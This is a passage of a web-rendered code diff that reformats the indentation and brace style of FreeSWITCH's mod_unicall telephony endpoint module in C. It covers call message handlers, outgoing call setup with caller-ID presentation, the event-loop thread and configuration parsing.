</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t video_refresh_req(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;video_refresh_req(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;video_refresh_req(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t display(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
-    uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    uc = tech_pvt-&gt;uc;
-    assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt-&gt;uc;
+        assert(uc != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;display(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;display(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unicall_receive_message(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>-    switch (msg-&gt;message_id)
-    {
-    case SWITCH_MESSAGE_REDIRECT_AUDIO:
-        return redirect_audio(session, msg);
-    case SWITCH_MESSAGE_TRANSMIT_TEXT:
-        return transmit_text(session, msg);
-    case SWITCH_MESSAGE_INDICATE_ANSWER:
-        return answer(session, msg);
-    case SWITCH_MESSAGE_INDICATE_PROGRESS:
-        return progress(session, msg);
-    case SWITCH_MESSAGE_INDICATE_BRIDGE:
-        return bridge(session, msg);
-    case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
-        return unbridge(session, msg);
-    case SWITCH_MESSAGE_INDICATE_TRANSFER:
-        return transfer(session, msg);
-    case SWITCH_MESSAGE_INDICATE_RINGING:
-        return ringing(session, msg);
-    case SWITCH_MESSAGE_INDICATE_MEDIA:
-        return media(session, msg);
-    case SWITCH_MESSAGE_INDICATE_NOMEDIA:
-        return nomedia(session, msg);
-    case SWITCH_MESSAGE_INDICATE_HOLD:
-        return hold(session, msg);
-    case SWITCH_MESSAGE_INDICATE_UNHOLD:
-        return unhold(session, msg);
-    case SWITCH_MESSAGE_INDICATE_REDIRECT:
-        return redirect(session, msg);
-    case SWITCH_MESSAGE_INDICATE_RESPOND:
-        return respond(session, msg);
-    case SWITCH_MESSAGE_INDICATE_BROADCAST:
-        return broadcast(session, msg);
-    case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
-        return media_redirect(session, msg);
-    case SWITCH_MESSAGE_INDICATE_DEFLECT:
-        return deflect(session, msg);
-    case SWITCH_MESSAGE_INDICATE_VIDEO_REFRESH_REQ:
-        return video_refresh_req(session, msg);
-    case SWITCH_MESSAGE_INDICATE_DISPLAY:
-        return display(session, msg);
-    default:
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;unicall_receive_message(%p) %d\n&quot;, (void *) session, msg-&gt;message_id);
-        break;
-    }
</del><ins>+        switch (msg-&gt;message_id) {
+        case SWITCH_MESSAGE_REDIRECT_AUDIO:
+                return redirect_audio(session, msg);
+        case SWITCH_MESSAGE_TRANSMIT_TEXT:
+                return transmit_text(session, msg);
+        case SWITCH_MESSAGE_INDICATE_ANSWER:
+                return answer(session, msg);
+        case SWITCH_MESSAGE_INDICATE_PROGRESS:
+                return progress(session, msg);
+        case SWITCH_MESSAGE_INDICATE_BRIDGE:
+                return bridge(session, msg);
+        case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
+                return unbridge(session, msg);
+        case SWITCH_MESSAGE_INDICATE_TRANSFER:
+                return transfer(session, msg);
+        case SWITCH_MESSAGE_INDICATE_RINGING:
+                return ringing(session, msg);
+        case SWITCH_MESSAGE_INDICATE_MEDIA:
+                return media(session, msg);
+        case SWITCH_MESSAGE_INDICATE_NOMEDIA:
+                return nomedia(session, msg);
+        case SWITCH_MESSAGE_INDICATE_HOLD:
+                return hold(session, msg);
+        case SWITCH_MESSAGE_INDICATE_UNHOLD:
+                return unhold(session, msg);
+        case SWITCH_MESSAGE_INDICATE_REDIRECT:
+                return redirect(session, msg);
+        case SWITCH_MESSAGE_INDICATE_RESPOND:
+                return respond(session, msg);
+        case SWITCH_MESSAGE_INDICATE_BROADCAST:
+                return broadcast(session, msg);
+        case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
+                return media_redirect(session, msg);
+        case SWITCH_MESSAGE_INDICATE_DEFLECT:
+                return deflect(session, msg);
+        case SWITCH_MESSAGE_INDICATE_VIDEO_REFRESH_REQ:
+                return video_refresh_req(session, msg);
+        case SWITCH_MESSAGE_INDICATE_DISPLAY:
+                return display(session, msg);
+        default:
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;unicall_receive_message(%p) %d\n&quot;, (void *) session, msg-&gt;message_id);
+                break;
+        }
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* Make sure when you have 2 sessions in the same scope that you pass the appropriate one to the routines
</span><span class="cx">    that allocate memory or you will have 1 channel with memory allocated from another channel's pool!
</span><span class="cx"> */
</span><span class="cx"> static switch_call_cause_t unicall_outgoing_channel(switch_core_session_t *session,
</span><del>-                                                    switch_event_t *var_event,
-                                                    switch_caller_profile_t *outbound_profile,
-                                                    switch_core_session_t **new_session,
-                                                    switch_memory_pool_t **pool,
-                                                    switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                        switch_event_t *var_event,
+                                                                                                        switch_caller_profile_t *outbound_profile,
+                                                                                                        switch_core_session_t **new_session,
+                                                                                                        switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><del>-    private_t *tech_pvt;
-    switch_channel_t *channel;
-    switch_caller_profile_t *caller_profile;
-    uc_t *uc;
-    uc_makecall_t makecall;
-    uc_callparms_t *callparms;
-    int screen;
-    int hide;
-    char name[128];
</del><ins>+        private_t *tech_pvt;
+        switch_channel_t *channel;
+        switch_caller_profile_t *caller_profile;
+        uc_t *uc;
+        uc_makecall_t makecall;
+        uc_callparms_t *callparms;
+        int screen;
+        int hide;
+        char name[128];
</ins><span class="cx"> 
</span><del>-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;unicall_outgoing_channel(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;unicall_outgoing_channel(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>- if ((*new_session = switch_core_session_request(unicall_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) == NULL)
-    {
-        return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
-    }
</del><ins>+        if ((*new_session = switch_core_session_request(unicall_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) == NULL) {
+                return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+        }
</ins><span class="cx"> 
</span><del>-    switch_core_session_add_stream(*new_session, NULL);
-    if ((tech_pvt = (private_t *) switch_core_session_alloc(*new_session, sizeof(private_t))) == NULL)
-    {
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;Hey where is my memory pool?\n&quot;);
-        switch_core_session_destroy(new_session);
-        return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
-    }
-    channel = switch_core_session_get_channel(*new_session);
-    tech_init(tech_pvt, *new_session);
</del><ins>+        switch_core_session_add_stream(*new_session, NULL);
+        if ((tech_pvt = (private_t *) switch_core_session_alloc(*new_session, sizeof(private_t))) == NULL) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;Hey where is my memory pool?\n&quot;);
+                switch_core_session_destroy(new_session);
+                return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+        }
+        channel = switch_core_session_get_channel(*new_session);
+        tech_init(tech_pvt, *new_session);
</ins><span class="cx"> 
</span><del>-    if (outbound_profile == NULL)
-    {
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Doh! no caller profile\n&quot;);
-        switch_core_session_destroy(new_session);
-        return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
-    }
-    snprintf(name, sizeof(name), &quot;UNICALL/%s&quot;, outbound_profile-&gt;destination_number);
-    switch_channel_set_name(channel, name);
</del><ins>+        if (outbound_profile == NULL) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Doh! no caller profile\n&quot;);
+                switch_core_session_destroy(new_session);
+                return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+        }
+        snprintf(name, sizeof(name), &quot;UNICALL/%s&quot;, outbound_profile-&gt;destination_number);
+        switch_channel_set_name(channel, name);
</ins><span class="cx"> 
</span><del>-    caller_profile = switch_caller_profile_clone(*new_session, outbound_profile);
-    switch_channel_set_caller_profile(channel, caller_profile);
-    tech_pvt-&gt;caller_profile = caller_profile;
</del><ins>+        caller_profile = switch_caller_profile_clone(*new_session, outbound_profile);
+        switch_channel_set_caller_profile(channel, caller_profile);
+        tech_pvt-&gt;caller_profile = caller_profile;
</ins><span class="cx"> 
</span><del>-    uc = tech_pvt-&gt;uc;
</del><ins>+        uc = tech_pvt-&gt;uc;
</ins><span class="cx"> 
</span><del>-    if ((callparms = uc_new_callparms(NULL)) == NULL)
-        return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</del><ins>+        if ((callparms = uc_new_callparms(NULL)) == NULL)
+                return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</ins><span class="cx"> 
</span><del>-    //uc_callparm_bear_cap_transfer_cap(callparms, cap);
-    //uc_callparm_bear_cap_transfer_mode(callparms, mode);
-    //uc_callparm_bear_cap_transfer_rate(callparms, rate);
-    //uc_callparm_userinfo_layer1_protocol(callparms, prot);
-    //uc_callparm_user_rate(callparms, rate);
</del><ins>+        //uc_callparm_bear_cap_transfer_cap(callparms, cap);
+        //uc_callparm_bear_cap_transfer_mode(callparms, mode);
+        //uc_callparm_bear_cap_transfer_rate(callparms, rate);
+        //uc_callparm_userinfo_layer1_protocol(callparms, prot);
+        //uc_callparm_user_rate(callparms, rate);
</ins><span class="cx"> 
</span><del>-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, &quot;destination '%s'\n&quot;, outbound_profile-&gt;destination_number);
-    uc_callparm_set_destination_number(callparms, outbound_profile-&gt;destination_number);
-    uc_callparm_set_destination_ton(callparms, outbound_profile-&gt;destination_number_ton);
-    uc_callparm_set_destination_npi(callparms, outbound_profile-&gt;destination_number_numplan);
-    //uc_callparm_set_destination_sub_addr_number(callparms, num);
-    //uc_callparm_set_destination_sub_addr_ton(callparms, ton);
-    //uc_callparm_set_destination_sub_addr_npi(callparms, npi);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, &quot;destination '%s'\n&quot;, outbound_profile-&gt;destination_number);
+        uc_callparm_set_destination_number(callparms, outbound_profile-&gt;destination_number);
+        uc_callparm_set_destination_ton(callparms, outbound_profile-&gt;destination_number_ton);
+        uc_callparm_set_destination_npi(callparms, outbound_profile-&gt;destination_number_numplan);
+        //uc_callparm_set_destination_sub_addr_number(callparms, num);
+        //uc_callparm_set_destination_sub_addr_ton(callparms, ton);
+        //uc_callparm_set_destination_sub_addr_npi(callparms, npi);
</ins><span class="cx"> 
</span><del>-    //uc_callparm_set_redirecting_cause(callparms, cause);
-    //uc_callparm_set_redirecting_presentation(callparms, pres);
-    uc_callparm_set_redirecting_number(callparms, outbound_profile-&gt;rdnis);
-    uc_callparm_set_redirecting_ton(callparms, outbound_profile-&gt;rdnis_ton);
-    uc_callparm_set_redirecting_npi(callparms, outbound_profile-&gt;rdnis_numplan);
-    //uc_callparm_set_redirecting_subaddr(callparms, num);
-    //uc_callparm_set_redirecting_subaddr_ton(callparms, ton);
-    //uc_callparm_set_redirecting_subaddr_npi(callparms, npi);
</del><ins>+        //uc_callparm_set_redirecting_cause(callparms, cause);
+        //uc_callparm_set_redirecting_presentation(callparms, pres);
+        uc_callparm_set_redirecting_number(callparms, outbound_profile-&gt;rdnis);
+        uc_callparm_set_redirecting_ton(callparms, outbound_profile-&gt;rdnis_ton);
+        uc_callparm_set_redirecting_npi(callparms, outbound_profile-&gt;rdnis_numplan);
+        //uc_callparm_set_redirecting_subaddr(callparms, num);
+        //uc_callparm_set_redirecting_subaddr_ton(callparms, ton);
+        //uc_callparm_set_redirecting_subaddr_npi(callparms, npi);
</ins><span class="cx"> 
</span><del>-    //uc_callparm_set_original_called_number(callparms, num);
-    //uc_callparm_set_original_called_number_ton(callparms, ton);
-    //uc_callparm_set_original_called_number_npi(callparms, npi);
</del><ins>+        //uc_callparm_set_original_called_number(callparms, num);
+        //uc_callparm_set_original_called_number_ton(callparms, ton);
+        //uc_callparm_set_original_called_number_npi(callparms, npi);
</ins><span class="cx"> 
</span><del>-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, &quot;caller id name '%s'\n&quot;, outbound_profile-&gt;caller_id_name);
-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, &quot;caller id number '%s'\n&quot;, outbound_profile-&gt;caller_id_number);
-    uc_callparm_set_originating_name(callparms, outbound_profile-&gt;caller_id_name);
-    uc_callparm_set_originating_number(callparms, outbound_profile-&gt;caller_id_number);
-    screen = switch_test_flag(outbound_profile, SWITCH_CPF_SCREEN);
-    hide = switch_test_flag(outbound_profile, SWITCH_CPF_HIDE_NUMBER);
-    if (!screen  &amp;&amp;  !hide)
-        uc_callparm_set_originating_presentation(callparms, UC_PRES_ALLOWED_USER_NUMBER_NOT_SCREENED);
-    else if (!screen  &amp;&amp;  hide)
-        uc_callparm_set_originating_presentation(callparms, UC_PRES_PROHIB_USER_NUMBER_NOT_SCREENED);
-    else if (screen  &amp;&amp;  !hide)
-        uc_callparm_set_originating_presentation(callparms, UC_PRES_ALLOWED_USER_NUMBER_PASSED_SCREEN);
-    else
-        uc_callparm_set_originating_presentation(callparms, UC_PRES_PROHIB_USER_NUMBER_PASSED_SCREEN);
-    uc_callparm_set_originating_ton(callparms, outbound_profile-&gt;caller_ton);
-    uc_callparm_set_originating_npi(callparms, outbound_profile-&gt;caller_numplan);
-    //uc_callparm_set_originating_sub_addr_number(callparms, num);
-    //uc_callparm_set_originating_sub_addr_ton(callparms, ton);
-    //uc_callparm_set_originating_sub_addr_npi(callparms, npi);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, &quot;caller id name '%s'\n&quot;, outbound_profile-&gt;caller_id_name);
+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, &quot;caller id number '%s'\n&quot;, outbound_profile-&gt;caller_id_number);
+        uc_callparm_set_originating_name(callparms, outbound_profile-&gt;caller_id_name);
+        uc_callparm_set_originating_number(callparms, outbound_profile-&gt;caller_id_number);
+        screen = switch_test_flag(outbound_profile, SWITCH_CPF_SCREEN);
+        hide = switch_test_flag(outbound_profile, SWITCH_CPF_HIDE_NUMBER);
+        if (!screen &amp;&amp; !hide)
+                uc_callparm_set_originating_presentation(callparms, UC_PRES_ALLOWED_USER_NUMBER_NOT_SCREENED);
+        else if (!screen &amp;&amp; hide)
+                uc_callparm_set_originating_presentation(callparms, UC_PRES_PROHIB_USER_NUMBER_NOT_SCREENED);
+        else if (screen &amp;&amp; !hide)
+                uc_callparm_set_originating_presentation(callparms, UC_PRES_ALLOWED_USER_NUMBER_PASSED_SCREEN);
+        else
+                uc_callparm_set_originating_presentation(callparms, UC_PRES_PROHIB_USER_NUMBER_PASSED_SCREEN);
+        uc_callparm_set_originating_ton(callparms, outbound_profile-&gt;caller_ton);
+        uc_callparm_set_originating_npi(callparms, outbound_profile-&gt;caller_numplan);
+        //uc_callparm_set_originating_sub_addr_number(callparms, num);
+        //uc_callparm_set_originating_sub_addr_ton(callparms, ton);
+        //uc_callparm_set_originating_sub_addr_npi(callparms, npi);
</ins><span class="cx"> 
</span><del>-    uc_callparm_set_calling_party_category(callparms, UC_CALLER_CATEGORY_NATIONAL_SUBSCRIBER_CALL);
-    
-    makecall.callparms = callparms;
-    makecall.call = NULL;
</del><ins>+        uc_callparm_set_calling_party_category(callparms, UC_CALLER_CATEGORY_NATIONAL_SUBSCRIBER_CALL);
</ins><span class="cx"> 
</span><ins>+        makecall.callparms = callparms;
+        makecall.call = NULL;
+
</ins><span class="cx"> #if 0
</span><del>-    if ((ret = uc_call_control(uc, UC_OP_MAKECALL, 0, (void *) &amp;makecall)) &lt; 0)
-    {
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, &quot;Make call failed - %s\n&quot;, uc_ret_to_str(ret));
-        return SWITCH_STATUS_FAILED;
-    }
-    /*endif*/
</del><ins>+        if ((ret = uc_call_control(uc, UC_OP_MAKECALL, 0, (void *) &amp;makecall)) &lt; 0) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, &quot;Make call failed - %s\n&quot;, uc_ret_to_str(ret));
+                return SWITCH_STATUS_FAILED;
+        }
+        /*endif */
</ins><span class="cx"> #endif
</span><del>-    free(callparms);
</del><ins>+        free(callparms);
</ins><span class="cx"> 
</span><del>-    switch_channel_set_flag(channel, CF_OUTBOUND);
-    switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
-    switch_channel_set_state(channel, CS_INIT);
-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, &quot;unicall_outgoing_channel(%p) SUCCESS\n&quot;, (void *) session);
-    return SWITCH_CAUSE_SUCCESS;
</del><ins>+
+        switch_channel_set_state(channel, CS_INIT);
+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, &quot;unicall_outgoing_channel(%p) SUCCESS\n&quot;, (void *) session);
+        return SWITCH_CAUSE_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unicall_receive_event(switch_core_session_t *session, switch_event_t *event)
</span><span class="cx"> {
</span><del>-    struct private_object *tech_pvt = switch_core_session_get_private(session);
-    char *body = switch_event_get_body(event);
</del><ins>+        struct private_object *tech_pvt = switch_core_session_get_private(session);
+        char *body = switch_event_get_body(event);
</ins><span class="cx"> 
</span><del>-    switch_assert(tech_pvt != NULL);
</del><ins>+        switch_assert(tech_pvt != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;unicall_receive_event(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;unicall_receive_event(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    if (body == NULL)
-        body = &quot;&quot;;
</del><ins>+        if (body == NULL)
+                body = &quot;&quot;;
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void *SWITCH_THREAD_FUNC unicall_thread_run(switch_thread_t *thread, void *obj)
</span><span class="cx"> {
</span><del>-    fd_set read;
-    fd_set write;
-    fd_set oob;
</del><ins>+        fd_set read;
+        fd_set write;
+        fd_set oob;
</ins><span class="cx">         int fd;
</span><del>-    int ret;
-    switch_event_t *s_event;
-    uc_t *uc = (uc_t *) obj;
</del><ins>+        int ret;
+        switch_event_t *s_event;
+        uc_t *uc = (uc_t *) obj;
</ins><span class="cx"> 
</span><span class="cx"> #if 0
</span><del>-    switch_mutex_init(&amp;chanmap.mutex, SWITCH_MUTEX_NESTED, module_pool);
</del><ins>+        switch_mutex_init(&amp;chanmap.mutex, SWITCH_MUTEX_NESTED, module_pool);
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-    if (switch_event_create(&amp;s_event, SWITCH_EVENT_PUBLISH) == SWITCH_STATUS_SUCCESS)
-    {
-        switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, &quot;service&quot;, &quot;_uc._tcp&quot;);
-        switch_event_fire(&amp;s_event);
-    }
</del><ins>+        if (switch_event_create(&amp;s_event, SWITCH_EVENT_PUBLISH) == SWITCH_STATUS_SUCCESS) {
+                switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, &quot;service&quot;, &quot;_uc._tcp&quot;);
+                switch_event_fire(&amp;s_event);
+        }
</ins><span class="cx"> 
</span><del>-    uc_get_device_handle(uc, 0, &amp;fd);
-    if ((ret = uc_call_control(uc, UC_OP_UNBLOCK, 0, (void *) (intptr_t) -1)) &lt; 0)
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Unblock failed - %s\n&quot;, uc_ret_to_str(ret));
-    /*endif*/
-    FD_ZERO(&amp;read);
-    FD_ZERO(&amp;write);
-    FD_ZERO(&amp;oob);
-        for (;;)
-    {
</del><ins>+        uc_get_device_handle(uc, 0, &amp;fd);
+        if ((ret = uc_call_control(uc, UC_OP_UNBLOCK, 0, (void *) (intptr_t) - 1)) &lt; 0)
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Unblock failed - %s\n&quot;, uc_ret_to_str(ret));
+        /*endif */
+        FD_ZERO(&amp;read);
+        FD_ZERO(&amp;write);
+        FD_ZERO(&amp;oob);
+        for (;;) {
</ins><span class="cx">                 FD_SET(fd, &amp;read);
</span><span class="cx">                 //FD_SET(fd, &amp;write);
</span><span class="cx">                 //FD_SET(fd, &amp;oob);
</span><span class="cx"> 
</span><del>-                if (select(fd + 1, &amp;read, NULL, NULL, NULL))
-        {
-                    if (FD_ISSET(fd, &amp;read))
-            {
-               uc_check_event(uc);
-               uc_schedule_run(uc);
</del><ins>+                if (select(fd + 1, &amp;read, NULL, NULL, NULL)) {
+                        if (FD_ISSET(fd, &amp;read)) {
+                                uc_check_event(uc);
+                                uc_schedule_run(uc);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-    uc_delete(uc);
-    return NULL;
</del><ins>+        uc_delete(uc);
+        return NULL;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void unicall_thread_launch(uc_t *uc)
</span><span class="cx"> {
</span><del>-    switch_thread_t *thread;
-    switch_threadattr_t *thd_attr = NULL;
</del><ins>+        switch_thread_t *thread;
+        switch_threadattr_t *thd_attr = NULL;
</ins><span class="cx"> 
</span><del>-    switch_threadattr_create(&amp;thd_attr, module_pool);
-    switch_threadattr_detach_set(thd_attr, 1);
-    switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
-    switch_thread_create(&amp;thread, thd_attr, unicall_thread_run, uc, module_pool);
</del><ins>+        switch_threadattr_create(&amp;thd_attr, module_pool);
+        switch_threadattr_detach_set(thd_attr, 1);
+        switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+        switch_thread_create(&amp;thread, thd_attr, unicall_thread_run, uc, module_pool);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-switch_state_handler_table_t unicall_state_handlers =
-{
-    /*.on_init */ unicall_on_init,
-    /*.on_routing */ unicall_on_routing,
-    /*.on_execute */ unicall_on_execute,
-    /*.on_hangup */ unicall_on_hangup,
-    /*.on_exchange_media */ unicall_on_exchange_media,
-    /*.on_soft_execute */ unicall_on_soft_execute,
-    /*.on_consume_media*/ NULL,
-    /*.on_hibernate*/ NULL,
-    /*.on_reset*/ NULL,
-    /*.on_park*/ NULL,
-    /*.on_reporting*/ NULL,
-    /*.on_destroy*/ unicall_on_destroy
-
</del><ins>+switch_state_handler_table_t unicall_state_handlers = {
+        /*.on_init */ unicall_on_init,
+        /*.on_routing */ unicall_on_routing,
+        /*.on_execute */ unicall_on_execute,
+        /*.on_hangup */ unicall_on_hangup,
+        /*.on_exchange_media */ unicall_on_exchange_media,
+        /*.on_soft_execute */ unicall_on_soft_execute,
+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ unicall_on_destroy
</ins><span class="cx"> };
</span><span class="cx"> 
</span><del>-switch_io_routines_t unicall_io_routines =
-{
-    /*.outgoing_channel */ unicall_outgoing_channel,
-    /*.read_frame */ unicall_read_frame,
-    /*.write_frame */ unicall_write_frame,
-    /*.kill_channel */ unicall_kill_channel,
-    /*.send_dtmf */ unicall_send_dtmf,
-    /*.receive_message */ unicall_receive_message,
-    /*.receive_event */ unicall_receive_event
</del><ins>+switch_io_routines_t unicall_io_routines = {
+        /*.outgoing_channel */ unicall_outgoing_channel,
+        /*.read_frame */ unicall_read_frame,
+        /*.write_frame */ unicall_write_frame,
+        /*.kill_channel */ unicall_kill_channel,
+        /*.send_dtmf */ unicall_send_dtmf,
+        /*.receive_message */ unicall_receive_message,
+        /*.receive_event */ unicall_receive_event
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t config_unicall(int reload)
</span><span class="cx"> {
</span><del>-    const char *cf = &quot;unicall.conf&quot;;
-    switch_xml_t cfg;
-    switch_xml_t xml;
-    switch_xml_t settings;
-    switch_xml_t param;
-    switch_xml_t spans;
-    switch_xml_t span;
-    int current_span = 0;
-    int min_span = 0;
-    int max_span = 0;
-    int logging_level;
-    int i;
-    char *id;
-    span_data_t *sp;
</del><ins>+        const char *cf = &quot;unicall.conf&quot;;
+        switch_xml_t cfg;
+        switch_xml_t xml;
+        switch_xml_t settings;
+        switch_xml_t param;
+        switch_xml_t spans;
+        switch_xml_t span;
+        int current_span = 0;
+        int min_span = 0;
+        int max_span = 0;
+        int logging_level;
+        int i;
+        char *id;
+        span_data_t *sp;
</ins><span class="cx"> 
</span><del>-    if (!(xml = switch_xml_open_cfg(cf, &amp;cfg, NULL)))
-    {
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Opening of %s failed\n&quot;, cf);
-        return SWITCH_STATUS_TERM;
-    }
</del><ins>+        if (!(xml = switch_xml_open_cfg(cf, &amp;cfg, NULL))) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Opening of %s failed\n&quot;, cf);
+                return SWITCH_STATUS_TERM;
+        }
</ins><span class="cx"> 
</span><del>-    if ((settings = switch_xml_child(cfg, &quot;settings&quot;)))
-    {
-        for (param = switch_xml_child(settings, &quot;param&quot;);  param;  param = param-&gt;next)
-        {
-            char *var = (char *) switch_xml_attr_soft(param, &quot;name&quot;);
-            char *val = (char *) switch_xml_attr_soft(param, &quot;value&quot;);
</del><ins>+        if ((settings = switch_xml_child(cfg, &quot;settings&quot;))) {
+                for (param = switch_xml_child(settings, &quot;param&quot;); param; param = param-&gt;next) {
+                        char *var = (char *) switch_xml_attr_soft(param, &quot;name&quot;);
+                        char *val = (char *) switch_xml_attr_soft(param, &quot;value&quot;);
</ins><span class="cx"> 
</span><del>-            if (!strcmp(var, &quot;debug&quot;))
-            {
-                globals.debug = atoi(val);
-            }
-            else if (!strcmp(var, &quot;ms-per-frame&quot;))
-            {
-                globals.frame_duration = atoi(val);
-            }
